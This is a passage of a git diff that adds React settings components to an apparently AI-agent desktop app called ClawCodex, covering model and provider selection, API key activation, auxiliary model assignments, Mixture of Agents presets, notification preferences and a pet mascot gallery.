+  // ("false" once stringified) — show it as Off, not an empty select.
+  const rawEffort = String(getNested(config ?? {}, 'agent.reasoning_effort') ?? '')
+    .trim()
+    .toLowerCase()
+
+  const effortValue = rawEffort === 'false' || rawEffort === 'disabled' ? 'none' : rawEffort || DEFAULT_REASONING_EFFORT
+
+  const fastOn = isFastTier(getNested(config ?? {}, 'agent.service_tier'))
+
+  // Persist a single agent.* default by round-tripping the whole config record
+  // (PUT /api/config replaces it) — optimistic, with rollback on failure.
+  const writeAgentDefault = useCallback(
+    async (key: string, value: string) => {
+      if (!config) {
+        return
+      }
+
+      const prev = config
+      const next = setNested(config, key, value)
+      setConfig(next)
+
+      try {
+        await saveClawCodexConfig(next)
+      } catch (err) {
+        setConfig(prev)
+        notifyError(err, m.defaultsFailed)
+      }
+    },
+    [config, m.defaultsFailed, setConfig]
+  )
+
+  // Paste an API key for the selected `api_key` provider, persist it, then
+  // refresh so the now-authenticated provider's models populate. Auto-selects
+  // the recommended default model so the user can Apply in one more click.
+  const activateApiKeyProvider = useCallback(async () => {
+    const keyEnv = selectedProviderRow?.key_env
+    const slug = selectedProviderRow?.slug
+
+    if (!keyEnv || !slug || !apiKeyDraft.trim()) {
+      return
+    }
+
+    const epoch = profileEpoch.current
+    setActivating(true)
+    setError('')
+
+    try {
+      await setEnvVar(keyEnv, apiKeyDraft.trim())
+      setApiKeyDraft('')
+
+      // Pick a sensible default for the freshly-activated provider (mirrors
+      // `clawcodex model` curation). Best-effort — fall through to the refreshed
+      // model list if it fails.
+      let nextModel = ''
+
+      try {
+        const rec = await getRecommendedDefaultModel(slug)
+        nextModel = rec.model || ''
+      } catch {
+        nextModel = ''
+      }
+
+      const options = await getGlobalModelOptions()
+
+      if (profileEpoch.current !== epoch) {
+        return
+      }
+
+      setProviders(options.providers || [])
+      const refreshedRow = options.providers?.find(p => p.slug === slug)
+      const fallbackModel = refreshedRow?.models?.[0] ?? ''
+      setSelectedModel(nextModel || fallbackModel)
+    } catch (err) {
+      setError(err instanceof Error ? err.message : String(err))
+    } finally {
+      setActivating(false)
+    }
+  }, [apiKeyDraft, selectedProviderRow])
+
+  // OAuth / external providers can't be activated with a pasted key — hand off
+  // to the shared onboarding flow scoped to this provider's real sign-in. The
+  // custom / local endpoint is NOT an OAuth provider, so it gets the dedicated
+  // local-endpoint form (URL + optional API key) instead of being dead-ended
+  // on the OAuth picker (the original "booted back to the first screen" loop).
+  const startProviderSetup = useCallback(() => {
+    const rowSlug = selectedProviderRow?.slug.trim() ?? ''
+    const slug = rowSlug || selectedProvider.trim()
+
+    if (!slug) {
+      return
+    }
+
+    const lower = slug.toLowerCase()
+
+    if (lower === 'custom' || lower === 'local' || lower.startsWith('custom:')) {
+      startManualLocalEndpoint()
+    } else if (rowSlug) {
+      startManualProviderOAuth(rowSlug)
+    } else {
+      // An absent row has no trustworthy auth metadata. Open the generic
+      // provider picker instead of deep-linking an unknown or stale slug.
+      startManualOnboarding()
+    }
+  }, [selectedProvider, selectedProviderRow])
+
+  const applyMainModel = useCallback(async () => {
+    if (!selectedProvider || !selectedModel) {
+      return
+    }
+
+    const epoch = profileEpoch.current
+    setApplying(true)
+    setError('')
+
+    try {
+      const result = await setModelAssignment({
+        model: selectedModel,
+        provider: selectedProvider,
+        scope: 'main',
+        ...(selectedProviderRow?.api_url ? { base_url: selectedProviderRow.api_url } : {})
+      })
+
+      if (profileEpoch.current !== epoch) {
+        return
+      }
+
+      const provider = result.provider || selectedProvider
+      const model = result.model || selectedModel
+      setMainModel({ provider, model })
+      setSwitchStaleAux(result.stale_aux ?? [])
+      onMainModelChanged?.(provider, model)
+      await refresh()
+    } catch (err) {
+      setError(err instanceof Error ? err.message : String(err))
+    } finally {
+      setApplying(false)
+    }
+  }, [onMainModelChanged, refresh, selectedModel, selectedProvider, selectedProviderRow])
+
+  // Sibling of the applyMainModel endpoint passthrough (#65254): auxiliary
+  // assignments targeting a user-defined provider must carry that provider's
+  // endpoint too, or the backend pins the slot without a base_url and the
+  // aux resolver falls back to the (possibly different, possibly cleared)
+  // main endpoint.
+  const endpointForProvider = useCallback(
+    (provider: string) => {
+      const row = providers.find(entry => entry.slug === provider)
+
+      return row?.api_url ? { base_url: row.api_url } : {}
+    },
+    [providers]
+  )
+
+  const setAuxiliaryToMain = useCallback(
+    async (task: string) => {
+      if (!mainModel) {
+        return
+      }
+
+      setApplying(true)
+      setError('')
+
+      try {
+        await setModelAssignment({
+          model: mainModel.model,
+          provider: mainModel.provider,
+          scope: 'auxiliary',
+          task,
+          ...endpointForProvider(mainModel.provider)
+        })
+        await refresh()
+      } catch (err) {
+        setError(err instanceof Error ? err.message : String(err))
+      } finally {
+        setApplying(false)
+      }
+    },
+    [endpointForProvider, mainModel, refresh]
+  )
+
+  const applyAuxiliaryDraft = useCallback(
+    async (task: string) => {
+      if (!auxDraft.provider || !auxDraft.model) {
+        return
+      }
+
+      setApplying(true)
+      setError('')
+
+      try {
+        await setModelAssignment({
+          model: auxDraft.model,
+          provider: auxDraft.provider,
+          scope: 'auxiliary',
+          task,
+          ...endpointForProvider(auxDraft.provider)
+        })
+        setEditingAuxTask(null)
+        await refresh()
+      } catch (err) {
+        setError(err instanceof Error ? err.message : String(err))
+      } finally {
+        setApplying(false)
+      }
+    },
+    [auxDraft, endpointForProvider, refresh]
+  )
+
+  const beginAuxiliaryEdit = useCallback(
+    (task: string) => {
+      const current = auxiliary?.tasks.find(entry => entry.task === task)
+
+      const initialProvider =
+        current?.provider && current.provider !== 'auto' ? current.provider : (mainModel?.provider ?? '')
+
+      const initialModel = current?.model || mainModel?.model || ''
+      setAuxDraft({ provider: initialProvider, model: initialModel })
+      setEditingAuxTask(task)
+    },
+    [auxiliary, mainModel]
+  )
+
+  const resetAuxiliaryModels = useCallback(async () => {
+    if (!mainModel) {
+      return
+    }
+
+    setApplying(true)
+    setError('')
+
+    try {
+      await setModelAssignment({
+        model: mainModel.model,
+        provider: mainModel.provider,
+        scope: 'auxiliary',
+        task: '__reset__'
+      })
+      setSwitchStaleAux([])
+      await refresh()
+    } catch (err) {
+      setError(err instanceof Error ? err.message : String(err))
+    } finally {
+      setApplying(false)
+    }
+  }, [mainModel, refresh])
+
+  if (loading && !mainModel) {
+    return <ModelSettingsSkeleton />
+  }
+
+  return (
+    <div className="grid gap-6">
+      <section>
+        <p className="mb-3 text-xs text-muted-foreground">{m.appliesDesc}</p>
+        <div className="flex flex-wrap items-center gap-2">
+          <Select onValueChange={setSelectedProvider} value={selectedProvider}>
+            <SelectTrigger className={cn('min-w-40', CONTROL_TEXT)}>
+              <SelectValue placeholder={m.provider} />
+            </SelectTrigger>
+            <SelectContent>
+              {mainProviderOptions.map(provider => (
+                <SelectItem key={provider.slug || 'none'} value={provider.slug || 'none'}>
+                  {provider.name}
+                </SelectItem>
+              ))}
+            </SelectContent>
+          </Select>
+          {needsSetup ? (
+            setupIsApiKey ? (
+              <>
+                <Input
+                  autoComplete="off"
+                  className={cn('min-w-60 flex-1', CONTROL_TEXT)}
+                  onChange={event => setApiKeyDraft(event.target.value)}
+                  onKeyDown={event => {
+                    if (event.key === 'Enter') {
+                      void activateApiKeyProvider()
+                    }
+                  }}
+                  placeholder={`Paste ${selectedProviderRow?.key_env ?? 'API key'}`}
+                  type="password"
+                  value={apiKeyDraft}
+                />
+                <Button
+                  disabled={!apiKeyDraft.trim() || activating}
+                  onClick={() => void activateApiKeyProvider()}
+                  size="sm"
+                >
+                  {activating && <Loader2 className="size-3.5 animate-spin" />}
+                  {activating ? 'Activating...' : 'Activate'}
+                </Button>
+              </>
+            ) : (
+              <Button onClick={startProviderSetup} size="sm" variant="textStrong">
+                Set up {selectedProviderRow?.name ?? 'provider'}
+              </Button>
+            )
+          ) : (
+            <>
+              <Select onValueChange={setSelectedModel} value={selectedModel}>
+                <SelectTrigger className={cn('min-w-60', CONTROL_TEXT)}>
+                  <SelectValue placeholder={m.model} />
+                </SelectTrigger>
+                <SelectContent>
+                  {withActive(selectedProviderModels, selectedModel).map(model => (
+                    <SelectItem key={model} value={model}>
+                      {model}
+                    </SelectItem>
+                  ))}
+                </SelectContent>
+              </Select>
+              <Button
+                disabled={!selectedProvider || !selectedModel || applying}
+                onClick={() => void applyMainModel()}
+                size="sm"
+              >
+                {applying && <Loader2 className="size-3.5 animate-spin" />}
+                {applying ? m.applying : t.common.apply}
+              </Button>
+            </>
+          )}
+        </div>
+        {needsSetup && !setupIsApiKey && selectedProviderRow && (
+          <p className="mt-2 text-xs text-muted-foreground">
+            {selectedProviderRow?.auth_type === 'api_key'
+              ? `${selectedProviderRow?.name} needs an API key — set it up to choose a model.`
+              : `${selectedProviderRow?.name} signs in through your browser — ClawCodex runs the flow for you.`}
+          </p>
+        )}
+        {config && mainModel && (reasoningSupported || fastSupported) && (
+          <div className="mt-3 flex flex-wrap items-center gap-x-6 gap-y-3">
+            <span className="text-xs text-muted-foreground">{m.defaultsLabel}</span>
+            {reasoningSupported && (
+              <div className="flex items-center gap-2 text-xs">
+                {m.reasoning}
+                <Select
+                  onValueChange={value => void writeAgentDefault('agent.reasoning_effort', value)}
+                  value={effortValue}
+                >
+                  <SelectTrigger className={cn('min-w-28', CONTROL_TEXT)}>
+                    <SelectValue />
+                  </SelectTrigger>
+                  <SelectContent>
+                    {REASONING_EFFORT_VALUES.map(value => (
+                      <SelectItem key={value} value={value}>
+                        {value === 'none' ? m.reasoningOff : t.shell.modelOptions[value]}
+                      </SelectItem>
+                    ))}
+                  </SelectContent>
+                </Select>
+              </div>
+            )}
+            {fastSupported && (
+              <label className="flex items-center gap-2 text-xs">
+                {t.shell.modelOptions.fast}
+                <Switch
+                  checked={fastOn}
+                  onCheckedChange={checked => void writeAgentDefault('agent.service_tier', checked ? 'fast' : 'normal')}
+                  size="xs"
+                />
+              </label>
+            )}
+          </div>
+        )}
+        {error && <div className="mt-2 text-xs text-destructive">{error}</div>}
+        {switchStaleAux.length > 0 && (
+          <div className="mt-2">
+            <StaleAuxWarning
+              applying={applying}
+              onReset={() => void resetAuxiliaryModels()}
+              slots={switchStaleAux}
+              taskLabel={auxiliaryTaskLabel}
+            />
+          </div>
+        )}
+      </section>
+
+      <section>
+        <div className="mb-2.5 flex items-center justify-between">
+          <SectionHeading icon={Cpu} title={m.auxiliaryTitle} />
+          <Button
+            disabled={!mainModel || applying}
+            onClick={() => void resetAuxiliaryModels()}
+            size="sm"
+            variant="textStrong"
+          >
+            {m.resetAllToMain}
+          </Button>
+        </div>
+        <p className="mb-2 text-xs text-muted-foreground">{m.auxiliaryDesc}</p>
+        {switchStaleAux.length === 0 && persistentStaleAux.length > 0 && (
+          <div className="mb-2.5">
+            <StaleAuxWarning
+              applying={applying}
+              onReset={() => void resetAuxiliaryModels()}
+              slots={persistentStaleAux}
+              taskLabel={auxiliaryTaskLabel}
+            />
+          </div>
+        )}
+        <div className="grid gap-1">
+          {AUX_TASKS.map(meta => {
+            const copy = m.tasks[meta.key] ?? { label: meta.key, hint: meta.key }
+            const current = auxiliary?.tasks.find(entry => entry.task === meta.key)
+            const isAuto = !current || !current.provider || current.provider === 'auto'
+            const isEditing = editingAuxTask === meta.key
+
+            return (
+              <div className="scroll-mt-6 rounded-lg" id={`aux-task-${meta.key}`} key={meta.key}>
+                <ListRow
+                  action={
+                    !isEditing && (
+                      <div className="flex shrink-0 items-center gap-1.5">
+                        <Button
+                          disabled={!mainModel || applying}
+                          onClick={() => void setAuxiliaryToMain(meta.key)}
+                          size="sm"
+                          variant="text"
+                        >
+                          {m.setToMain}
+                        </Button>
+                        <Button
+                          disabled={!providers.length || applying}
+                          onClick={() => beginAuxiliaryEdit(meta.key)}
+                          size="sm"
+                          variant="textStrong"
+                        >
+                          {m.change}
+                        </Button>
+                      </div>
+                    )
+                  }
+                  below={
+                    isEditing && (
+                      <div className="mt-2 flex flex-wrap items-center gap-2 pt-1">
+                        <Select
+                          onValueChange={value => setAuxDraft(prev => ({ ...prev, provider: value, model: '' }))}
+                          value={auxDraft.provider}
+                        >
+                          <SelectTrigger className={cn('min-w-32', CONTROL_TEXT)}>
+                            <SelectValue placeholder={m.provider} />
+                          </SelectTrigger>
+                          <SelectContent>
+                            {providerOptions.map(provider => (
+                              <SelectItem key={provider.slug || 'none'} value={provider.slug || 'none'}>
+                                {provider.name}
+                              </SelectItem>
+                            ))}
+                          </SelectContent>
+                        </Select>
+                        <Select
+                          onValueChange={value => setAuxDraft(prev => ({ ...prev, model: value }))}
+                          value={auxDraft.model}
+                        >
+                          <SelectTrigger className={cn('min-w-48', CONTROL_TEXT)}>
+                            <SelectValue placeholder={m.model} />
+                          </SelectTrigger>
+                          <SelectContent>
+                            {withActive(auxDraftProviderModels, auxDraft.model).map(model => (
+                              <SelectItem key={model} value={model}>
+                                {model}
+                              </SelectItem>
+                            ))}
+                          </SelectContent>
+                        </Select>
+                        <Button
+                          disabled={!auxDraft.provider || !auxDraft.model || applying}
+                          onClick={() => void applyAuxiliaryDraft(meta.key)}
+                          size="sm"
+                        >
+                          {applying ? m.applying : t.common.apply}
+                        </Button>
+                        <Button onClick={() => setEditingAuxTask(null)} size="sm" variant="ghost">
+                          {t.common.cancel}
+                        </Button>
+                      </div>
+                    )
+                  }
+                  description={
+                    <span className="font-mono text-[0.68rem]">
+                      {isAuto ? m.autoUseMain : `${current.provider} · ${current.model || m.providerDefault}`}
+                    </span>
+                  }
+                  title={
+                    <span className="flex items-baseline gap-2">
+                      {copy.label}
+                      <Pill>{copy.hint}</Pill>
+                    </span>
+                  }
+                />
+              </div>
+            )
+          })}
+        </div>
+      </section>
+      {moa && currentMoaPreset && (
+        <section>
+          <SectionHeading icon={Cpu} title="Mixture of Agents" />
+          <p className="mb-2 text-xs text-muted-foreground">
+            Configure named presets that appear as models under the Mixture of Agents provider. The aggregator is the
+            acting model.
+          </p>
+          <div className="mb-2 flex flex-wrap items-center gap-2">
+            <Select onValueChange={setSelectedMoaPreset} value={selectedMoaPreset || moa.default_preset}>
+              <SelectTrigger className={cn('min-w-40', CONTROL_TEXT)}>
+                <SelectValue placeholder="Preset" />
+              </SelectTrigger>
+              <SelectContent>
+                {Object.keys(moa.presets).map(name => (
+                  <SelectItem key={name} value={name}>
+                    {name}
+                  </SelectItem>
+                ))}
+              </SelectContent>
+            </Select>
+            <label className="flex items-center gap-2 rounded-sm border border-border px-2 py-1 text-xs">
+              Enabled
+              <Switch
+                checked={currentMoaPreset.enabled !== false}
+                disabled={applying}
+                onCheckedChange={checked => updateMoaPreset(prev => ({ ...prev, enabled: checked }))}
+                size="xs"
+              />
+            </label>
+            <Button
+              disabled={applying}
+              onClick={() => {
+                const next: MoaConfigResponse = {
+                  ...moa,
+                  default_preset: selectedMoaPreset || moa.default_preset
+                }
+
+                void saveMoa(next)
+              }}
+              size="sm"
+              variant="text"
+            >
+              Set default
+            </Button>
+            <Button
+              disabled={Object.keys(moa.presets).length <= 1 || applying}
+              onClick={() => {
+                if (Object.keys(moa.presets).length <= 1) {
+                  return
+                }
+
+                const presets = { ...moa.presets }
+                delete presets[selectedMoaPreset]
+                const fallback = Object.keys(presets)[0]
+
+                const next: MoaConfigResponse = {
+                  ...moa,
+                  presets,
+                  default_preset: moa.default_preset === selectedMoaPreset ? fallback : moa.default_preset,
+                  active_preset: moa.active_preset === selectedMoaPreset ? '' : moa.active_preset
+                }
+
+                setSelectedMoaPreset(Object.keys(moa.presets).find(name => name !== selectedMoaPreset) || '')
+                void saveMoa(next)
+              }}
+              size="sm"
+              variant="ghost"
+            >
+              Delete
+            </Button>
+            <Input
+              className={cn('w-40', CONTROL_TEXT)}
+              onChange={event => setNewMoaPresetName(event.target.value)}
+              placeholder="new preset"
+              value={newMoaPresetName}
+            />
+            <Button
+              disabled={!newMoaPresetName.trim() || !!moa.presets[newMoaPresetName.trim()] || applying}
+              onClick={() => {
+                const name = newMoaPresetName.trim()
+
+                const next: MoaConfigResponse = {
+                  ...moa,
+                  presets: {
+                    ...moa.presets,
+                    [name]: { ...currentMoaPreset, reference_models: [...currentMoaPreset.reference_models] }
+                  }
+                }
+
+                setSelectedMoaPreset(name)
+                setNewMoaPresetName('')
+                void saveMoa(next)
+              }}
+              size="sm"
+              variant="textStrong"
+            >
+              Add preset
+            </Button>
+          </div>
+          <div className="mb-2 text-xs text-muted-foreground">
+            Default: <span className="font-mono">{moa.default_preset}</span>
+          </div>
+          <div className="grid gap-1">
+            {currentMoaPreset.reference_models.map((slot, index) => (
+              <ListRow
+                action={
+                  <Switch
+                    aria-label={`${slot.enabled !== false ? 'Disable' : 'Enable'} reference ${index + 1}`}
+                    checked={slot.enabled !== false}
+                    disabled={applying}
+                    onCheckedChange={checked =>
+                      updateMoaPreset(prev => ({
+                        ...prev,
+                        reference_models: prev.reference_models.map((s, i) =>
+                          i === index ? { ...s, enabled: checked === true } : s
+                        )
+                      }))
+                    }
+                  />
+                }
+                below={
+                  <div className="mt-2 flex flex-wrap items-center gap-2 pt-1">
+                    <Select
+                      onValueChange={value =>
+                        updateMoaPreset(prev => ({
+                          ...prev,
+                          reference_models: prev.reference_models.map((s, i) =>
+                            i === index ? updateMoaSlot(s, { provider: value }) : s
+                          )
+                        }))
+                      }
+                      value={slot.provider}
+                    >
+                      <SelectTrigger className={cn('min-w-32', CONTROL_TEXT)}>
+                        <SelectValue placeholder={m.provider} />
+                      </SelectTrigger>
+                      <SelectContent>
+                        {withActive(
+                          moaSlotProviderOptions.map(p => p.slug || 'none'),
+                          slot.provider
+                        ).map(slug => {
+                          const provider = moaSlotProviderOptions.find(p => (p.slug || 'none') === slug)
+
+                          return (
+                            <SelectItem key={slug} value={slug}>
+                              {provider?.name || slug}
+                            </SelectItem>
+                          )
+                        })}
+                      </SelectContent>
+                    </Select>
+                    <Select
+                      onValueChange={value =>
+                        updateMoaPreset(prev => ({
+                          ...prev,
+                          reference_models: prev.reference_models.map((s, i) =>
+                            i === index ? updateMoaSlot(s, { model: value }) : s
+                          )
+                        }))
+                      }
+                      value={slot.model}
+                    >
+                      <SelectTrigger className={cn('min-w-48', CONTROL_TEXT)}>
+                        <SelectValue placeholder={m.model} />
+                      </SelectTrigger>
+                      <SelectContent>
+                        {withActive(modelsForProvider(slot.provider), slot.model).map(model => (
+                          <SelectItem key={model} value={model}>
+                            {model}
+                          </SelectItem>
+                        ))}
+                      </SelectContent>
+                    </Select>
+                    <Button
+                      disabled={currentMoaPreset.reference_models.length <= 1 || applying}
+                      onClick={() =>
+                        updateMoaPreset(prev => ({
+                          ...prev,
+                          reference_models: prev.reference_models.filter((_, i) => i !== index)
+                        }))
+                      }
+                      size="sm"
+                      variant="ghost"
+                    >
+                      Remove
+                    </Button>
+                  </div>
+                }
+                className={cn(slot.enabled === false && 'opacity-60')}
+                description={
+                  <span className="font-mono text-[0.68rem]">
+                    {slot.provider} · {slot.model || m.model}
+                  </span>
+                }
+                key={`${selectedMoaPreset}-${index}`}
+                title={`Reference ${index + 1}`}
+              />
+            ))}
+            <Button
+              disabled={applying}
+              onClick={() =>
+                updateMoaPreset(prev => ({
+                  ...prev,
+                  reference_models: [...prev.reference_models, { ...prev.aggregator, enabled: true }]
+                }))
+              }
+              size="sm"
+              variant="textStrong"
+            >
+              Add reference model
+            </Button>
+            <ListRow
+              below={
+                <div className="mt-2 flex flex-wrap items-center gap-2 pt-1">
+                  <Select
+                    onValueChange={value =>
+                      updateMoaPreset(prev => ({
+                        ...prev,
+                        aggregator: updateMoaSlot(prev.aggregator, { provider: value })
+                      }))
+                    }
+                    value={currentMoaPreset.aggregator.provider}
+                  >
+                    <SelectTrigger className={cn('min-w-32', CONTROL_TEXT)}>
+                      <SelectValue placeholder={m.provider} />
+                    </SelectTrigger>
+                    <SelectContent>
+                      {withActive(
+                        moaSlotProviderOptions.map(p => p.slug || 'none'),
+                        currentMoaPreset.aggregator.provider
+                      ).map(slug => {
+                        const provider = moaSlotProviderOptions.find(p => (p.slug || 'none') === slug)
+
+                        return (
+                          <SelectItem key={slug} value={slug}>
+                            {provider?.name || slug}
+                          </SelectItem>
+                        )
+                      })}
+                    </SelectContent>
+                  </Select>
+                  <Select
+                    onValueChange={value =>
+                      updateMoaPreset(prev => ({
+                        ...prev,
+                        aggregator: updateMoaSlot(prev.aggregator, { model: value })
+                      }))
+                    }
+                    value={currentMoaPreset.aggregator.model}
+                  >
+                    <SelectTrigger className={cn('min-w-48', CONTROL_TEXT)}>
+                      <SelectValue placeholder={m.model} />
+                    </SelectTrigger>
+                    <SelectContent>
+                      {withActive(
+                        modelsForProvider(currentMoaPreset.aggregator.provider),
+                        currentMoaPreset.aggregator.model
+                      ).map(model => (
+                        <SelectItem key={model} value={model}>
+                          {model}
+                        </SelectItem>
+                      ))}
+                    </SelectContent>
+                  </Select>
+                </div>
+              }
+              description={
+                <span className="font-mono text-[0.68rem]">
+                  {currentMoaPreset.aggregator.provider} · {currentMoaPreset.aggregator.model}
+                </span>
+              }
+              title="Aggregator"
+            />
+          </div>
+        </section>
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/notifications-settings.tsx b/ui-desktop/src/app/settings/notifications-settings.tsx
new file mode 100644
index 000000000..b2810f691
--- /dev/null
+++ b/ui-desktop/src/app/settings/notifications-settings.tsx
@@ -0,0 +1,119 @@
+import { useStore } from '@nanostores/react'
+import type { ReactNode } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'
+import { useI18n } from '@/i18n'
+import { COMPLETION_SOUND_VARIANTS, previewCompletionSound } from '@/lib/completion-sound'
+import { triggerHaptic } from '@/lib/haptics'
+import { Bell, Play } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { $completionSoundVariantId, setCompletionSoundVariantId } from '@/store/completion-sound'
+import {
+  $nativeNotifyPrefs,
+  NATIVE_NOTIFICATION_KINDS,
+  sendTestNativeNotification,
+  setNativeNotifyEnabled,
+  setNativeNotifyKind
+} from '@/store/native-notifications'
+import { notify } from '@/store/notifications'
+
+import { CONTROL_TEXT } from './constants'
+import { ListRow, SectionHeading, SettingsContent, ToggleRow } from './primitives'
+
+const CAPTION = 'text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)'
+
+function Caption({ children, className }: { children: ReactNode; className?: string }) {
+  return <p className={cn(CAPTION, className)}>{children}</p>
+}
+
+export function NotificationsSettings() {
+  const { t } = useI18n()
+  const prefs = useStore($nativeNotifyPrefs)
+  const completionSoundVariantId = useStore($completionSoundVariantId)
+  const copy = t.settings.notifications
+
+  const runTest = async () => {
+    triggerHaptic('open')
+    const ok = await sendTestNativeNotification(copy.testTitle, copy.testBody)
+    notify({ kind: ok ? 'info' : 'error', message: ok ? copy.testSent : copy.testUnsupported })
+  }
+
+  return (
+    <SettingsContent>
+      <SectionHeading icon={Bell} title={copy.title} />
+      <Caption className="mb-2 leading-(--conversation-caption-line-height)">{copy.intro}</Caption>
+
+      <ToggleRow
+        checked={prefs.enabled}
+        description={copy.enableAllDesc}
+        label={copy.enableAll}
+        onChange={setNativeNotifyEnabled}
+      />
+
+      {NATIVE_NOTIFICATION_KINDS.map(kind => (
+        <ToggleRow
+          checked={prefs.enabled && prefs.kinds[kind]}
+          description={copy.kinds[kind].description}
+          disabled={!prefs.enabled}
+          key={kind}
+          label={copy.kinds[kind].label}
+          onChange={on => setNativeNotifyKind(kind, on)}
+        />
+      ))}
+
+      <ListRow
+        action={
+          <div className="flex flex-wrap items-center justify-end gap-2">
+            <Select
+              onValueChange={value => {
+                const variantId = Number.parseInt(value, 10)
+
+                setCompletionSoundVariantId(variantId)
+                previewCompletionSound(variantId)
+                triggerHaptic('selection')
+              }}
+              value={String(completionSoundVariantId)}
+            >
+              <SelectTrigger className={cn('min-w-56', CONTROL_TEXT)}>
+                <SelectValue />
+              </SelectTrigger>
+
+              <SelectContent>
+                {COMPLETION_SOUND_VARIANTS.map(variant => (
+                  <SelectItem key={variant.id} value={String(variant.id)}>
+                    {variant.name}
+                  </SelectItem>
+                ))}
+              </SelectContent>
+            </Select>
+
+            <Button
+              className="gap-1.5"
+              onClick={() => {
+                previewCompletionSound()
+                triggerHaptic('crisp')
+              }}
+              size="sm"
+              type="button"
+              variant="outline"
+            >
+              <Play className="size-3.5" />
+              {copy.completionSoundPreview}
+            </Button>
+          </div>
+        }
+        description={copy.completionSoundDesc}
+        title={copy.completionSoundTitle}
+      />
+
+      <div className="mt-4 flex flex-col gap-2">
+        <Button className="self-start" onClick={() => void runTest()} size="sm" type="button" variant="outline">
+          <Bell />
+          {copy.test}
+        </Button>
+        <Caption>{copy.focusedHint}</Caption>
+      </div>
+    </SettingsContent>
+  )
+}
diff --git a/ui-desktop/src/app/settings/pet-settings.tsx b/ui-desktop/src/app/settings/pet-settings.tsx
new file mode 100644
index 000000000..c02b66193
--- /dev/null
+++ b/ui-desktop/src/app/settings/pet-settings.tsx
@@ -0,0 +1,403 @@
+import { useStore } from '@nanostores/react'
+import { type ReactNode, useEffect, useState } from 'react'
+
+import { useGatewayRequest } from '@/app/gateway/hooks/use-gateway-request'
+import { PetThumb } from '@/components/pet/pet-thumb'
+import { Button } from '@/components/ui/button'
+import { ConfirmDialog } from '@/components/ui/confirm-dialog'
+import { Dialog, DialogContent, DialogFooter, DialogHeader, DialogTitle } from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { SegmentedControl } from '@/components/ui/segmented-control'
+import { Skeleton } from '@/components/ui/skeleton'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { Download, Loader2, PawPrint, Pencil, Trash2 } from '@/lib/icons'
+import { selectableCardClass } from '@/lib/selectable-card'
+import { cn } from '@/lib/utils'
+import { $petInfo, $petRoam, setPetRoam } from '@/store/pet'
+import {
+  $petBusy,
+  $petGallery,
+  $petGalleryError,
+  $petGalleryStatus,
+  adoptPet,
+  exportPet as exportPetAction,
+  type GalleryPet,
+  loadPetGallery,
+  loadPetThumb,
+  PET_SCALE_DEFAULT,
+  PET_SCALE_MAX,
+  PET_SCALE_MIN,
+  rankedGalleryPets,
+  removePet as removePetAction,
+  renamePet as renamePetAction,
+  setPetEnabled,
+  setPetScale
+} from '@/store/pet-gallery'
+import { $gatewayState } from '@/store/session'
+
+import { ListRow, SectionHeading } from './primitives'
+
+/**
+ * Appearance opt-in for the floating petdex mascot. A thin view over the shared
+ * `pet-gallery` store — it subscribes to the atoms and calls the store actions,
+ * so the gallery is fetched once + cached and adopt/toggle/remove patch local
+ * state instead of re-pulling the network gallery. The floating mascot polls
+ * `pet.info`, so picking a pet here lights it up within a couple seconds.
+ */
+export function PetSettings() {
+  const { t } = useI18n()
+  const copy = t.settings.appearance.pet
+  const { requestGateway } = useGatewayRequest()
+  const gatewayState = useStore($gatewayState)
+  const gallery = useStore($petGallery)
+  const status = useStore($petGalleryStatus)
+  const error = useStore($petGalleryError)
+  const busySlug = useStore($petBusy)
+  const petInfo = useStore($petInfo)
+  const roam = useStore($petRoam)
+  const [query, setQuery] = useState('')
+  const [confirmDelete, setConfirmDelete] = useState<GalleryPet | null>(null)
+  const [renameTarget, setRenameTarget] = useState<GalleryPet | null>(null)
+  const [renameValue, setRenameValue] = useState('')
+  const scale = petInfo.scale ?? PET_SCALE_DEFAULT
+
+  useEffect(() => {
+    if (gatewayState !== 'open') {
+      return
+    }
+
+    void loadPetGallery(requestGateway)
+  }, [gatewayState, requestGateway])
+
+  const enabled = gallery?.enabled ?? false
+  const active = gallery?.active ?? ''
+  const pets = gallery?.pets ?? []
+  const staleBackend = status === 'stale'
+
+  const selectPet = (slug: string) => {
+    void adoptPet(requestGateway, slug, copy.adoptFailed(slug)).then(ok => ok && triggerHaptic('crisp'))
+  }
+
+  const removePet = (slug: string) => {
+    void removePetAction(requestGateway, slug, copy.uninstallFailed(slug)).then(ok => ok && triggerHaptic('crisp'))
+  }
+
+  const exportPet = (slug: string) => {
+    void exportPetAction(requestGateway, slug, copy.exportFailed(slug)).then(ok => ok && triggerHaptic('crisp'))
+  }
+
+  const saveRename = () => {
+    if (!renameTarget || !renameValue.trim()) {
+      return
+    }
+
+    // Optimistic: the rename paints instantly, so close now and let the RPC
+    // settle in the background (it rolls back + surfaces an error on failure).
+    const { slug } = renameTarget
+    setRenameTarget(null)
+    triggerHaptic('crisp')
+    void renamePetAction(requestGateway, slug, renameValue, copy.renameFailed(slug))
+  }
+
+  const toggle = (on: boolean) => {
+    void setPetEnabled(requestGateway, on, {
+      noneAvailable: copy.noneAvailable,
+      fallback: on ? copy.turnOnFailed : copy.turnOffFailed
+    }).then(ok => ok && triggerHaptic('crisp'))
+  }
+
+  // The petdex catalog is thousands of entries, so rank + cap how many render.
+  const RENDER_CAP = 60
+  const sorted = rankedGalleryPets(gallery, query)
+  const shown = sorted.slice(0, RENDER_CAP)
+
+  return (
+    <div>
+      <SectionHeading icon={PawPrint} title={copy.title} />
+      <p className="max-w-2xl text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+        {copy.intro}
+      </p>
+
+      {staleBackend && (
+        <p className="mt-2 rounded-lg border border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary) px-3 py-2 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+          {copy.restartHint}
+        </p>
+      )}
+
+      <div className="mt-2">
+        <ListRow
+          below={
+            <>
+              <input
+                className="mt-3 w-full rounded-lg border border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary) px-3 py-1.5 text-[length:var(--conversation-caption-font-size)] outline-none placeholder:text-(--ui-text-tertiary) focus:border-(--ui-stroke-secondary)"
